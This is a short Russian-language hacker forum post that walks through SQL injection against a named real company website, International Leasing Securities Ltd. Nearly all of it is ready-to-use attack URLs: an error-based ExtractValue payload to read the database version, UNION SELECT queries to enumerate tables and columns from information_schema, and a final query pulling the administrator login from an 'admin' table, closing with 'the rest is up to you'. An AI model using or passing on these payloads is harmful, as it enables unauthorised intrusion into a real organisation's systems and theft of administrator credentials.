Показать сообщение отдельно

  #4  
Старый 21.12.2018, 03:35
sepo
Новичок
Регистрация: 25.04.2010
Сообщений: 0
С нами: 8445343

Репутация: 0
По умолчанию

  • International Leasing SecuritiesLtd.
Версия БД:

Код:
http://www.ilslbd.com/content.php?Id=1%27or(ExtractValue(1,concat(0x3a,(select(version())))))=%271
находим нужную таблицу:

Код:
http://www.ilslbd.com/content.php?Id=-1%27+UNION+select+1,2,convert(table_name%20using%20latin1)+from+information_schema.tables+limit+45,1+--+
играемся с лимитом и получаем нужную колонку:

Код:
http://www.ilslbd.com/content.php?Id=-1%27+UNION+select+1,2,convert(column_name%20using%20latin1)+from+information_schema.columns+where+table_name=%27admin%27+limit+3,1+--+
получаем админский логин

Код:
http://www.ilslbd.com/content.php?Id=-1%27+UNION+select+1,2,convert(UserName%20using%20latin1)+from+admin+limit+0,1+--+
ну а дальше сами...
 
Ответить с цитированием